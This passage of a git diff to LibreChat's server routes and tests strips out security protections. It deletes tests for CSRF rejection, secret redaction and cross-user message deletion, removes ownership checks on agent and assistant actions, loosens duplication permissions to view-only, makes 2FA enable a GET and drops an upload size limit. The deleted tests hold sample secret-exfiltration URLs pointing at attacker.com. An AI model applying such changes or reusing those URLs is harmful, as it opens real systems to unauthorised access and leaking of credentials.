- require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
- MCPOAuthHandler.getFlowState.mockResolvedValue(mockFlowState);
- MCPOAuthHandler.completeOAuthFlow.mockResolvedValue({
- access_token: 'test-token',
- });
- MCPTokenStorage.storeTokens.mockResolvedValue();
- mockRegistryInstance.getServerConfig.mockResolvedValue({});
-
- const mockMcpManager = {
- getUserConnection: jest.fn().mockResolvedValue({
- fetchTools: jest.fn().mockResolvedValue([]),
- }),
- };
- require('~/config').getMCPManager.mockReturnValue(mockMcpManager);
- require('~/config').getOAuthReconnectionManager.mockReturnValue({
- clearReconnection: jest.fn(),
- });
- require('~/server/services/Config/mcp').updateMCPServerTools.mockResolvedValue();
-
- const response = await request(app)
- .get('/api/mcp/test-server/oauth/callback')
- .query({ code: 'test-code', state: flowId });
-
- const basePath = getBasePath();
- expect(response.status).toBe(302);
- expect(response.headers.location).toContain(`${basePath}/oauth/success`);
- });
-
- it('should reject when no PENDING flow exists and no cookies are present', async () => {
- const flowId = 'test-user-id:test-server';
- const mockFlowManager = {
- getFlowState: jest.fn().mockResolvedValue(null),
- };
-
- getLogStores.mockReturnValue({});
- require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
-
- const response = await request(app)
- .get('/api/mcp/test-server/oauth/callback')
- .query({ code: 'test-code', state: flowId });
-
- const basePath = getBasePath();
- expect(response.status).toBe(302);
- expect(response.headers.location).toBe(
- `${basePath}/oauth/error?error=csrf_validation_failed`,
- );
- });
-
- it('should reject when only a COMPLETED flow exists (not PENDING)', async () => {
- const flowId = 'test-user-id:test-server';
- const mockFlowManager = {
- getFlowState: jest.fn().mockResolvedValue({
- status: 'COMPLETED',
- createdAt: Date.now(),
- }),
- };
-
- getLogStores.mockReturnValue({});
- require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
-
- const response = await request(app)
- .get('/api/mcp/test-server/oauth/callback')
- .query({ code: 'test-code', state: flowId });
-
- const basePath = getBasePath();
- expect(response.status).toBe(302);
- expect(response.headers.location).toBe(
- `${basePath}/oauth/error?error=csrf_validation_failed`,
- );
- });
-
- it('should reject when PENDING flow is stale (older than PENDING_STALE_MS)', async () => {
- const flowId = 'test-user-id:test-server';
- const mockFlowManager = {
- getFlowState: jest.fn().mockResolvedValue({
- status: 'PENDING',
- createdAt: Date.now() - 3 * 60 * 1000,
- }),
- };
-
- getLogStores.mockReturnValue({});
- require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
-
- const response = await request(app)
- .get('/api/mcp/test-server/oauth/callback')
- .query({ code: 'test-code', state: flowId });
-
- const basePath = getBasePath();
- expect(response.status).toBe(302);
- expect(response.headers.location).toBe(
- `${basePath}/oauth/error?error=csrf_validation_failed`,
- );
- });
- });
-
it('should handle OAuth callback successfully', async () => {
// mockRegistryInstance is defined at the top of the file
const mockFlowManager = {
@@ -1693,14 +1572,12 @@ describe('MCP Routes', () => {
it('should return all server configs for authenticated user', async () => {
const mockServerConfigs = {
'server-1': {
- type: 'sse',
- url: 'http://server1.com/sse',
- title: 'Server 1',
+ endpoint: 'http://server1.com',
+ name: 'Server 1',
},
'server-2': {
- type: 'sse',
- url: 'http://server2.com/sse',
- title: 'Server 2',
+ endpoint: 'http://server2.com',
+ name: 'Server 2',
},
};
@@ -1709,18 +1586,7 @@ describe('MCP Routes', () => {
const response = await request(app).get('/api/mcp/servers');
expect(response.status).toBe(200);
- expect(response.body['server-1']).toMatchObject({
- type: 'sse',
- url: 'http://server1.com/sse',
- title: 'Server 1',
- });
- expect(response.body['server-2']).toMatchObject({
- type: 'sse',
- url: 'http://server2.com/sse',
- title: 'Server 2',
- });
- expect(response.body['server-1'].headers).toBeUndefined();
- expect(response.body['server-2'].headers).toBeUndefined();
+ expect(response.body).toEqual(mockServerConfigs);
expect(mockRegistryInstance.getAllServerConfigs).toHaveBeenCalledWith('test-user-id');
});
@@ -1775,10 +1641,10 @@ describe('MCP Routes', () => {
const response = await request(app).post('/api/mcp/servers').send({ config: validConfig });
expect(response.status).toBe(201);
- expect(response.body.serverName).toBe('test-sse-server');
- expect(response.body.type).toBe('sse');
- expect(response.body.url).toBe('https://mcp-server.example.com/sse');
- expect(response.body.title).toBe('Test SSE Server');
+ expect(response.body).toEqual({
+ serverName: 'test-sse-server',
+ ...validConfig,
+ });
expect(mockRegistryInstance.addServer).toHaveBeenCalledWith(
'temp_server_name',
expect.objectContaining({
@@ -1832,78 +1698,6 @@ describe('MCP Routes', () => {
expect(response.body.message).toBe('Invalid configuration');
});
- it('should reject SSE URL containing env variable references', async () => {
- const response = await request(app)
- .post('/api/mcp/servers')
- .send({
- config: {
- type: 'sse',
- url: 'http://attacker.com/?secret=${JWT_SECRET}',
- },
- });
-
- expect(response.status).toBe(400);
- expect(response.body.message).toBe('Invalid configuration');
- expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
- });
-
- it('should reject streamable-http URL containing env variable references', async () => {
- const response = await request(app)
- .post('/api/mcp/servers')
- .send({
- config: {
- type: 'streamable-http',
- url: 'http://attacker.com/?key=${CREDS_KEY}&iv=${CREDS_IV}',
- },
- });
-
- expect(response.status).toBe(400);
- expect(response.body.message).toBe('Invalid configuration');
- expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
- });
-
- it('should reject websocket URL containing env variable references', async () => {
- const response = await request(app)
- .post('/api/mcp/servers')
- .send({
- config: {
- type: 'websocket',
- url: 'ws://attacker.com/?secret=${MONGO_URI}',
- },
- });
-
- expect(response.status).toBe(400);
- expect(response.body.message).toBe('Invalid configuration');
- expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
- });
-
- it('should redact secrets from create response', async () => {
- const validConfig = {
- type: 'sse',
- url: 'https://mcp-server.example.com/sse',
- title: 'Test Server',
- };
-
- mockRegistryInstance.addServer.mockResolvedValue({
- serverName: 'test-server',
- config: {
- ...validConfig,
- apiKey: { source: 'admin', authorization_type: 'bearer', key: 'admin-secret-key' },
- oauth: { client_id: 'cid', client_secret: 'admin-oauth-secret' },
- headers: { Authorization: 'Bearer leaked-token' },
- },
- });
-
- const response = await request(app).post('/api/mcp/servers').send({ config: validConfig });
-
- expect(response.status).toBe(201);
- expect(response.body.apiKey?.key).toBeUndefined();
- expect(response.body.oauth?.client_secret).toBeUndefined();
- expect(response.body.headers).toBeUndefined();
- expect(response.body.apiKey?.source).toBe('admin');
- expect(response.body.oauth?.client_id).toBe('cid');
- });
-
it('should return 500 when registry throws error', async () => {
const validConfig = {
type: 'sse',
@@ -1933,9 +1727,7 @@ describe('MCP Routes', () => {
const response = await request(app).get('/api/mcp/servers/test-server');
expect(response.status).toBe(200);
- expect(response.body.type).toBe('sse');
- expect(response.body.url).toBe('https://mcp-server.example.com/sse');
- expect(response.body.title).toBe('Test Server');
+ expect(response.body).toEqual(mockConfig);
expect(mockRegistryInstance.getServerConfig).toHaveBeenCalledWith(
'test-server',
'test-user-id',
@@ -1951,29 +1743,6 @@ describe('MCP Routes', () => {
expect(response.body).toEqual({ message: 'MCP server not found' });
});
- it('should redact secrets from get response', async () => {
- mockRegistryInstance.getServerConfig.mockResolvedValue({
- type: 'sse',
- url: 'https://mcp-server.example.com/sse',
- title: 'Secret Server',
- apiKey: { source: 'admin', authorization_type: 'bearer', key: 'decrypted-admin-key' },
- oauth: { client_id: 'cid', client_secret: 'decrypted-oauth-secret' },
- headers: { Authorization: 'Bearer internal-token' },
- oauth_headers: { 'X-OAuth': 'secret-value' },
- });
-
- const response = await request(app).get('/api/mcp/servers/secret-server');
-
- expect(response.status).toBe(200);
- expect(response.body.title).toBe('Secret Server');
- expect(response.body.apiKey?.key).toBeUndefined();
- expect(response.body.apiKey?.source).toBe('admin');
- expect(response.body.oauth?.client_secret).toBeUndefined();
- expect(response.body.oauth?.client_id).toBe('cid');
- expect(response.body.headers).toBeUndefined();
- expect(response.body.oauth_headers).toBeUndefined();
- });
-
it('should return 500 when registry throws error', async () => {
mockRegistryInstance.getServerConfig.mockRejectedValue(new Error('Database error'));
@@ -2000,9 +1769,7 @@ describe('MCP Routes', () => {
.send({ config: updatedConfig });
expect(response.status).toBe(200);
- expect(response.body.type).toBe('sse');
- expect(response.body.url).toBe('https://updated-mcp-server.example.com/sse');
- expect(response.body.title).toBe('Updated Server');
+ expect(response.body).toEqual(updatedConfig);
expect(mockRegistryInstance.updateServer).toHaveBeenCalledWith(
'test-server',
expect.objectContaining({
@@ -2014,35 +1781,6 @@ describe('MCP Routes', () => {
);
});
- it('should redact secrets from update response', async () => {
- const validConfig = {
- type: 'sse',
- url: 'https://mcp-server.example.com/sse',
- title: 'Updated Server',
- };
-
- mockRegistryInstance.updateServer.mockResolvedValue({
- ...validConfig,
- apiKey: { source: 'admin', authorization_type: 'bearer', key: 'preserved-admin-key' },
- oauth: { client_id: 'cid', client_secret: 'preserved-oauth-secret' },
- headers: { Authorization: 'Bearer internal-token' },
- env: { DATABASE_URL: 'postgres://admin:pass@localhost/db' },
- });
-
- const response = await request(app)
- .patch('/api/mcp/servers/test-server')
- .send({ config: validConfig });
-
- expect(response.status).toBe(200);
- expect(response.body.title).toBe('Updated Server');
- expect(response.body.apiKey?.key).toBeUndefined();
- expect(response.body.apiKey?.source).toBe('admin');
- expect(response.body.oauth?.client_secret).toBeUndefined();
- expect(response.body.oauth?.client_id).toBe('cid');
- expect(response.body.headers).toBeUndefined();
- expect(response.body.env).toBeUndefined();
- });
-
it('should return 400 for invalid configuration', async () => {
const invalidConfig = {
type: 'sse',
@@ -2059,51 +1797,6 @@ describe('MCP Routes', () => {
expect(response.body.errors).toBeDefined();
});
- it('should reject SSE URL containing env variable references', async () => {
- const response = await request(app)
- .patch('/api/mcp/servers/test-server')
- .send({
- config: {
- type: 'sse',
- url: 'http://attacker.com/?secret=${JWT_SECRET}',
- },
- });
-
- expect(response.status).toBe(400);
- expect(response.body.message).toBe('Invalid configuration');
- expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
- });
-
- it('should reject streamable-http URL containing env variable references', async () => {
- const response = await request(app)
- .patch('/api/mcp/servers/test-server')
- .send({
- config: {
- type: 'streamable-http',
- url: 'http://attacker.com/?key=${CREDS_KEY}',
- },
- });
-
- expect(response.status).toBe(400);
- expect(response.body.message).toBe('Invalid configuration');
- expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
- });
-
- it('should reject websocket URL containing env variable references', async () => {
- const response = await request(app)
- .patch('/api/mcp/servers/test-server')
- .send({
- config: {
- type: 'websocket',
- url: 'ws://attacker.com/?secret=${MONGO_URI}',
- },
- });
-
- expect(response.status).toBe(400);
- expect(response.body.message).toBe('Invalid configuration');
- expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
- });
-
it('should return 500 when registry throws error', async () => {
const validConfig = {
type: 'sse',
diff --git a/api/server/routes/__tests__/messages-delete.spec.js b/api/server/routes/__tests__/messages-delete.spec.js
deleted file mode 100644
index e134eecfd0..0000000000
--- a/api/server/routes/__tests__/messages-delete.spec.js
+++ /dev/null
@@ -1,200 +0,0 @@
-const mongoose = require('mongoose');
-const express = require('express');
-const request = require('supertest');
-const { v4: uuidv4 } = require('uuid');
-const { MongoMemoryServer } = require('mongodb-memory-server');
-
-jest.mock('@librechat/agents', () => ({
- sleep: jest.fn(),
-}));
-
-jest.mock('@librechat/api', () => ({
- unescapeLaTeX: jest.fn((x) => x),
- countTokens: jest.fn().mockResolvedValue(10),
-}));
-
-jest.mock('@librechat/data-schemas', () => ({
- ...jest.requireActual('@librechat/data-schemas'),
- logger: {
- debug: jest.fn(),
- info: jest.fn(),
- warn: jest.fn(),
- error: jest.fn(),
- },
-}));
-
-jest.mock('librechat-data-provider', () => ({
- ...jest.requireActual('librechat-data-provider'),
-}));
-
-jest.mock('~/models', () => ({
- saveConvo: jest.fn(),
- getMessage: jest.fn(),
- saveMessage: jest.fn(),
- getMessages: jest.fn(),
- updateMessage: jest.fn(),
- deleteMessages: jest.fn(),
-}));
-
-jest.mock('~/server/services/Artifacts/update', () => ({
- findAllArtifacts: jest.fn(),
- replaceArtifactContent: jest.fn(),
-}));
-
-jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next());
-
-jest.mock('~/server/middleware', () => ({
- requireJwtAuth: (req, res, next) => next(),
- validateMessageReq: (req, res, next) => next(),
-}));
-
-jest.mock('~/models/Conversation', () => ({
- getConvosQueried: jest.fn(),
-}));
-
-jest.mock('~/db/models', () => ({
- Message: {
- findOne: jest.fn(),
- find: jest.fn(),
- meiliSearch: jest.fn(),
- },
-}));
-
-/* ─── Model-level tests: real MongoDB, proves cross-user deletion is prevented ─── */
-
-const { messageSchema } = require('@librechat/data-schemas');
-
-describe('deleteMessages – model-level IDOR prevention', () => {
- let mongoServer;
- let Message;
-
- const ownerUserId = 'user-owner-111';
- const attackerUserId = 'user-attacker-222';
-
- beforeAll(async () => {
- mongoServer = await MongoMemoryServer.create();
- Message = mongoose.models.Message || mongoose.model('Message', messageSchema);
- await mongoose.connect(mongoServer.getUri());
- });
-
- afterAll(async () => {
- await mongoose.disconnect();
- await mongoServer.stop();
- });
-
- beforeEach(async () => {
- await Message.deleteMany({});
- });
-
- it("should NOT delete another user's message when attacker supplies victim messageId", async () => {
- const conversationId = uuidv4();
- const victimMsgId = 'victim-msg-001';
-
- await Message.create({
- messageId: victimMsgId,
- conversationId,
- user: ownerUserId,
- text: 'Sensitive owner data',
- });
-
- await Message.deleteMany({ messageId: victimMsgId, user: attackerUserId });
-
- const victimMsg = await Message.findOne({ messageId: victimMsgId }).lean();
- expect(victimMsg).not.toBeNull();
- expect(victimMsg.user).toBe(ownerUserId);
- expect(victimMsg.text).toBe('Sensitive owner data');
- });
-
- it("should delete the user's own message", async () => {
- const conversationId = uuidv4();
- const ownMsgId = 'own-msg-001';
-
- await Message.create({
- messageId: ownMsgId,
- conversationId,
- user: ownerUserId,
- text: 'My message',
- });
-
- const result = await Message.deleteMany({ messageId: ownMsgId, user: ownerUserId });
- expect(result.deletedCount).toBe(1);
-
- const deleted = await Message.findOne({ messageId: ownMsgId }).lean();
- expect(deleted).toBeNull();
- });
-
- it('should scope deletion by conversationId, messageId, and user together', async () => {
- const convoA = uuidv4();
- const convoB = uuidv4();
-
- await Message.create([
- { messageId: 'msg-a1', conversationId: convoA, user: ownerUserId, text: 'A1' },
- { messageId: 'msg-b1', conversationId: convoB, user: ownerUserId, text: 'B1' },
- ]);
-
- await Message.deleteMany({ messageId: 'msg-a1', conversationId: convoA, user: attackerUserId });
-
- const remaining = await Message.find({ user: ownerUserId }).lean();
- expect(remaining).toHaveLength(2);
- });
-});
-
-/* ─── Route-level tests: supertest + mocked deleteMessages ─── */
-
-describe('DELETE /:conversationId/:messageId – route handler', () => {
- let app;
- const { deleteMessages } = require('~/models');
-
- const authenticatedUserId = 'user-owner-123';
-
- beforeAll(() => {
- const messagesRouter = require('../messages');
-
- app = express();
- app.use(express.json());
- app.use((req, res, next) => {
- req.user = { id: authenticatedUserId };
- next();
- });
- app.use('/api/messages', messagesRouter);
- });
-
- beforeEach(() => {
- jest.clearAllMocks();
- });
-
- it('should pass user and conversationId in the deleteMessages filter', async () => {
- deleteMessages.mockResolvedValue({ deletedCount: 1 });
-
- await request(app).delete('/api/messages/convo-1/msg-1');
-
- expect(deleteMessages).toHaveBeenCalledTimes(1);
- expect(deleteMessages).toHaveBeenCalledWith({
- messageId: 'msg-1',
- conversationId: 'convo-1',
- user: authenticatedUserId,
- });
- });
-
- it('should return 204 on successful deletion', async () => {
- deleteMessages.mockResolvedValue({ deletedCount: 1 });
-
- const response = await request(app).delete('/api/messages/convo-1/msg-owned');
-
- expect(response.status).toBe(204);
- expect(deleteMessages).toHaveBeenCalledWith({
- messageId: 'msg-owned',
- conversationId: 'convo-1',
- user: authenticatedUserId,
- });
- });
-
- it('should return 500 when deleteMessages throws', async () => {
- deleteMessages.mockRejectedValue(new Error('DB failure'));
-
- const response = await request(app).delete('/api/messages/convo-1/msg-1');
-
- expect(response.status).toBe(500);
- expect(response.body).toEqual({ error: 'Internal server error' });
- });
-});
diff --git a/api/server/routes/agents/actions.js b/api/server/routes/agents/actions.js
index f3970bff22..12168ba28a 100644
--- a/api/server/routes/agents/actions.js
+++ b/api/server/routes/agents/actions.js
@@ -12,11 +12,7 @@ const {
validateActionDomain,
validateAndParseOpenAPISpec,
} = require('librechat-data-provider');
-const {
- legacyDomainEncode,
- encryptMetadata,
- domainParser,
-} = require('~/server/services/ActionService');
+const { encryptMetadata, domainParser } = require('~/server/services/ActionService');
const { findAccessibleResources } = require('~/server/services/PermissionService');
const { getAgent, updateAgent, getListAgentsByAccess } = require('~/models/Agent');
const { updateAction, getActions, deleteAction } = require('~/models/Action');
@@ -123,14 +119,13 @@ router.post(
return res.status(400).json({ message: 'Domain not allowed' });
}
- const encodedDomain = await domainParser(metadata.domain, true);
+ let { domain } = metadata;
+ domain = await domainParser(domain, true);
- if (!encodedDomain) {
+ if (!domain) {
return res.status(400).json({ message: 'No domain provided' });
}
- const legacyDomain = legacyDomainEncode(metadata.domain);
-
const action_id = _action_id ?? nanoid();
const initialPromises = [];
@@ -148,9 +143,6 @@ router.post(
if (actions_result && actions_result.length) {
const action = actions_result[0];
- if (action.agent_id !== agent_id) {
- return res.status(403).json({ message: 'Action does not belong to this agent' });
- }
metadata = { ...action.metadata, ...metadata };
}
@@ -165,23 +157,14 @@ router.post(
actions.push(action);
}
- actions.push(`${encodedDomain}${actionDelimiter}${action_id}`);
+ actions.push(`${domain}${actionDelimiter}${action_id}`);
/** @type {string[]}} */
const { tools: _tools = [] } = agent;
- const shouldRemoveAgentTool = (tool) => {
- if (!tool) {
- return false;
- }
- return (
- tool.includes(encodedDomain) || tool.includes(legacyDomain) || tool.includes(action_id)
- );
- };
-
const tools = _tools
- .filter((tool) => !shouldRemoveAgentTool(tool))
- .concat(functions.map((tool) => `${tool.function.name}${actionDelimiter}${encodedDomain}`));
+ .filter((tool) => !(tool && (tool.includes(domain) || tool.includes(action_id))))
+ .concat(functions.map((tool) => `${tool.function.name}${actionDelimiter}${domain}`));
// Force version update since actions are changing
const updatedAgent = await updateAgent(
@@ -201,7 +184,7 @@ router.post(
}
/** @type {[Action]} */
- const updatedAction = await updateAction({ action_id, agent_id }, actionUpdateData);
+ const updatedAction = await updateAction({ action_id }, actionUpdateData);
const sensitiveFields = ['api_key', 'oauth_client_id', 'oauth_client_secret'];
for (let field of sensitiveFields) {
@@ -245,22 +228,22 @@ router.delete(
const { tools = [], actions = [] } = agent;
- let storedDomain = '';
+ let domain = '';
const updatedActions = actions.filter((action) => {
if (action.includes(action_id)) {
- [storedDomain] = action.split(actionDelimiter);
+ [domain] = action.split(actionDelimiter);
return false;
}
return true;
});
- if (!storedDomain) {
+ domain = await domainParser(domain, true);
+
+ if (!domain) {
return res.status(400).json({ message: 'No domain provided' });
}
- const updatedTools = tools.filter(
- (tool) => !(tool && (tool.includes(storedDomain) || tool.includes(action_id))),
- );
+ const updatedTools = tools.filter((tool) => !(tool && tool.includes(domain)));
// Force version update since actions are being removed
await updateAgent(
@@ -268,13 +251,7 @@ router.delete(
{ tools: updatedTools, actions: updatedActions },
{ updatingUserId: req.user.id, forceVersion: true },
);
- const deleted = await deleteAction({ action_id, agent_id });
- if (!deleted) {
- logger.warn('[Agent Action Delete] No matching action document found', {
- action_id,
- agent_id,
- });
- }
+ await deleteAction({ action_id });
res.status(200).json({ message: 'Action deleted successfully' });
} catch (error) {
const message = 'Trouble deleting the Agent Action';
diff --git a/api/server/routes/agents/index.js b/api/server/routes/agents/index.js
index a99fdca592..f8d39cb4d8 100644
--- a/api/server/routes/agents/index.js
+++ b/api/server/routes/agents/index.js
@@ -76,62 +76,52 @@ router.get('/chat/stream/:streamId', async (req, res) => {
logger.debug(`[AgentStream] Client subscribed to ${streamId}, resume: ${isResume}`);
- const writeEvent = (event) => {
- if (!res.writableEnded) {
- res.write(`event: message\ndata: ${JSON.stringify(event)}\n\n`);
- if (typeof res.flush === 'function') {
- res.flush();
- }
- }
- };
-
- const onDone = (event) => {
- writeEvent(event);
- res.end();
- };
-
- const onError = (error) => {
- if (!res.writableEnded) {
- res.write(`event: error\ndata: ${JSON.stringify({ error })}\n\n`);
- if (typeof res.flush === 'function') {
- res.flush();
- }
- res.end();
- }
- };
-
- let result;
-
+ // Send sync event with resume state for ALL reconnecting clients
+ // This supports multi-tab scenarios where each tab needs run step data
if (isResume) {
- const { subscription, resumeState, pendingEvents } =
- await GenerationJobManager.subscribeWithResume(streamId, writeEvent, onDone, onError);
+ const resumeState = await GenerationJobManager.getResumeState(streamId);
+ if (resumeState && !res.writableEnded) {
+ // Send sync event with run steps AND aggregatedContent
+ // Client will use aggregatedContent to initialize message state
+ res.write(`event: message\ndata: ${JSON.stringify({ sync: true, resumeState })}\n\n`);
+ if (typeof res.flush === 'function') {
+ res.flush();
+ }
+ logger.debug(
+ `[AgentStream] Sent sync event for ${streamId} with ${resumeState.runSteps.length} run steps`,
+ );
+ }
+ }
- if (!res.writableEnded) {
- if (resumeState) {
- res.write(
- `event: message\ndata: ${JSON.stringify({ sync: true, resumeState, pendingEvents })}\n\n`,
- );
+ const result = await GenerationJobManager.subscribe(
+ streamId,
+ (event) => {
+ if (!res.writableEnded) {
+ res.write(`event: message\ndata: ${JSON.stringify(event)}\n\n`);
if (typeof res.flush === 'function') {
res.flush();
}
- GenerationJobManager.markSyncSent(streamId);
- logger.debug(
- `[AgentStream] Sent sync event for ${streamId} with ${resumeState.runSteps.length} run steps, ${pendingEvents.length} pending events`,
- );
- } else if (pendingEvents.length > 0) {
- for (const event of pendingEvents) {
- writeEvent(event);
- }
- logger.warn(
- `[AgentStream] Resume state null for ${streamId}, replayed ${pendingEvents.length} gap events directly`,
- );
}
- }
-
- result = subscription;
- } else {
- result = await GenerationJobManager.subscribe(streamId, writeEvent, onDone, onError);
- }
+ },
+ (event) => {
+ if (!res.writableEnded) {
+ res.write(`event: message\ndata: ${JSON.stringify(event)}\n\n`);
+ if (typeof res.flush === 'function') {
+ res.flush();
+ }
+ res.end();
+ }
+ },
+ (error) => {
+ if (!res.writableEnded) {
+ res.write(`event: error\ndata: ${JSON.stringify({ error })}\n\n`);
+ if (typeof res.flush === 'function') {
+ res.flush();
+ }
+ res.end();
+ }
+ },
+ );
if (!result) {
return res.status(404).json({ error: 'Failed to subscribe to stream' });
diff --git a/api/server/routes/agents/v1.js b/api/server/routes/agents/v1.js
index ed989bcf44..682a9c795f 100644
--- a/api/server/routes/agents/v1.js
+++ b/api/server/routes/agents/v1.js
@@ -117,7 +117,7 @@ router.post(
'/:id/duplicate',
checkAgentCreate,
canAccessAgentResource({
- requiredPermission: PermissionBits.EDIT,
+ requiredPermission: PermissionBits.VIEW,
resourceIdParam: 'id',
}),
v1.duplicateAgent,
diff --git a/api/server/routes/assistants/actions.js b/api/server/routes/assistants/actions.js
index 75ab879e2b..57975d32a7 100644
--- a/api/server/routes/assistants/actions.js
+++ b/api/server/routes/assistants/actions.js
@@ -3,11 +3,7 @@ const { nanoid } = require('nanoid');
const { logger } = require('@librechat/data-schemas');
const { isActionDomainAllowed } = require('@librechat/api');
const { actionDelimiter, EModelEndpoint, removeNullishValues } = require('librechat-data-provider');
-const {
- legacyDomainEncode,
- encryptMetadata,
- domainParser,
-} = require('~/server/services/ActionService');
+const { encryptMetadata, domainParser } = require('~/server/services/ActionService');
const { getOpenAIClient } = require('~/server/controllers/assistants/helpers');
const { updateAction, getActions, deleteAction } = require('~/models/Action');
const { updateAssistantDoc, getAssistant } = require('~/models/Assistant');
@@ -43,14 +39,13 @@ router.post('/:assistant_id', async (req, res) => {
return res.status(400).json({ message: 'Domain not allowed' });
}
- const encodedDomain = await domainParser(metadata.domain, true);
+ let { domain } = metadata;
+ domain = await domainParser(domain, true);
- if (!encodedDomain) {
+ if (!domain) {
return res.status(400).json({ message: 'No domain provided' });
}
- const legacyDomain = legacyDomainEncode(metadata.domain);
-
const action_id = _action_id ?? nanoid();
const initialPromises = [];
@@ -65,9 +60,6 @@ router.post('/:assistant_id', async (req, res) => {
if (actions_result && actions_result.length) {
const action = actions_result[0];
- if (action.assistant_id !== assistant_id) {
- return res.status(403).json({ message: 'Action does not belong to this assistant' });
- }
metadata = { ...action.metadata, ...metadata };
}
@@ -86,29 +78,25 @@ router.post('/:assistant_id', async (req, res) => {
actions.push(action);
}
- actions.push(`${encodedDomain}${actionDelimiter}${action_id}`);
+ actions.push(`${domain}${actionDelimiter}${action_id}`);
/** @type {{ tools: FunctionTool[] | { type: 'code_interpreter'|'retrieval'}[]}} */
const { tools: _tools = [] } = assistant;
- const shouldRemoveAssistantTool = (tool) => {
- if (!tool.function) {
- return false;
- }
- const name = tool.function.name;
- return (
- name.includes(encodedDomain) || name.includes(legacyDomain) || name.includes(action_id)
- );
- };
-
const tools = _tools
- .filter((tool) => !shouldRemoveAssistantTool(tool))
+ .filter(
+ (tool) =>
+ !(
+ tool.function &&
+ (tool.function.name.includes(domain) || tool.function.name.includes(action_id))
+ ),
+ )
.concat(
functions.map((tool) => ({
...tool,
function: {
...tool.function,
- name: `${tool.function.name}${actionDelimiter}${encodedDomain}`,
+ name: `${tool.function.name}${actionDelimiter}${domain}`,
},
})),
);
@@ -129,7 +117,7 @@ router.post('/:assistant_id', async (req, res) => {
// For new actions, use the assistant owner's user ID
actionUpdateData.user = assistant_user || req.user.id;
}
- promises.push(updateAction({ action_id, assistant_id }, actionUpdateData));
+ promises.push(updateAction({ action_id }, actionUpdateData));
/** @type {[AssistantDocument, Action]} */
let [assistantDocument, updatedAction] = await Promise.all(promises);
@@ -180,25 +168,23 @@ router.delete('/:assistant_id/:action_id/:model', async (req, res) => {
const { actions = [] } = assistant_data ?? {};
const { tools = [] } = assistant ?? {};
- let storedDomain = '';
+ let domain = '';
const updatedActions = actions.filter((action) => {
if (action.includes(action_id)) {
- [storedDomain] = action.split(actionDelimiter);
+ [domain] = action.split(actionDelimiter);
return false;
}
return true;
});
- if (!storedDomain) {
+ domain = await domainParser(domain, true);
+
+ if (!domain) {
return res.status(400).json({ message: 'No domain provided' });
}
const updatedTools = tools.filter(
- (tool) =>
- !(
- tool.function &&
- (tool.function.name.includes(storedDomain) || tool.function.name.includes(action_id))
- ),
+ (tool) => !(tool.function && tool.function.name.includes(domain)),
);
await openai.beta.assistants.update(assistant_id, { tools: updatedTools });
@@ -210,15 +196,9 @@ router.delete('/:assistant_id/:action_id/:model', async (req, res) => {
assistantUpdateData.user = req.user.id;
}
promises.push(updateAssistantDoc({ assistant_id }, assistantUpdateData));
- promises.push(deleteAction({ action_id, assistant_id }));
+ promises.push(deleteAction({ action_id }));
- const [, deletedAction] = await Promise.all(promises);
- if (!deletedAction) {
- logger.warn('[Assistant Action Delete] No matching action document found', {
- action_id,
- assistant_id,
- });
- }
+ await Promise.all(promises);
res.status(200).json({ message: 'Action deleted successfully' });
} catch (error) {
const message = 'Trouble deleting the Assistant Action';
diff --git a/api/server/routes/auth.js b/api/server/routes/auth.js
index d55684f3de..e84442f65f 100644
--- a/api/server/routes/auth.js
+++ b/api/server/routes/auth.js
@@ -63,7 +63,7 @@ router.post(
resetPasswordController,
);
-router.post('/2fa/enable', middleware.requireJwtAuth, enable2FA);
+router.get('/2fa/enable', middleware.requireJwtAuth, enable2FA);
router.post('/2fa/verify', middleware.requireJwtAuth, verify2FA);
router.post('/2fa/verify-temp', middleware.checkBan, verify2FAWithTempToken);
router.post('/2fa/confirm', middleware.requireJwtAuth, confirm2FA);
diff --git a/api/server/routes/config.js b/api/server/routes/config.js
index 0adc9272bb..a2dc5b79d2 100644
--- a/api/server/routes/config.js
+++ b/api/server/routes/config.js
@@ -16,7 +16,9 @@ const sharedLinksEnabled =
process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS);
const publicSharedLinksEnabled =
- sharedLinksEnabled && isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
+ sharedLinksEnabled &&
+ (process.env.ALLOW_SHARED_LINKS_PUBLIC === undefined ||
+ isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC));
const sharePointFilePickerEnabled = isEnabled(process.env.ENABLE_SHAREPOINT_FILEPICKER);
const openidReuseTokens = isEnabled(process.env.OPENID_REUSE_TOKENS);
diff --git a/api/server/routes/convos.js b/api/server/routes/convos.js
index 578796170a..bb9c4ebea9 100644
--- a/api/server/routes/convos.js
+++ b/api/server/routes/convos.js
@@ -1,7 +1,7 @@
const multer = require('multer');
const express = require('express');
const { sleep } = require('@librechat/agents');
-const { isEnabled, resolveImportMaxFileSize } = require('@librechat/api');
+const { isEnabled } = require('@librechat/api');
const { logger } = require('@librechat/data-schemas');
const { CacheKeys, EModelEndpoint } = require('librechat-data-provider');
const {
@@ -224,27 +224,8 @@ router.post('/update', validateConvoAccess, async (req, res) => {
});
const { importIpLimiter, importUserLimiter } = createImportLimiters();
-/** Fork and duplicate share one rate-limit budget (same "clone" operation class) */
const { forkIpLimiter, forkUserLimiter } = createForkLimiters();
-const importMaxFileSize = resolveImportMaxFileSize();
-const upload = multer({
- storage,
- fileFilter: importFileFilter,
- limits: { fileSize: importMaxFileSize },
-});
-const uploadSingle = upload.single('file');
-
-function handleUpload(req, res, next) {
- uploadSingle(req, res, (err) => {
- if (err && err.code === 'LIMIT_FILE_SIZE') {
- return res.status(413).json({ message: 'File exceeds the maximum allowed size' });
- }
- if (err) {
- return next(err);
- }
- next();
- });
-}
+const upload = multer({ storage: storage, fileFilter: importFileFilter });
/**
* Imports a conversation from a JSON file and saves it to the database.
@@ -257,7 +238,7 @@ router.post(
importIpLimiter,
importUserLimiter,
configMiddleware,
- handleUpload,
+ upload.single('file'),
async (req, res) => {
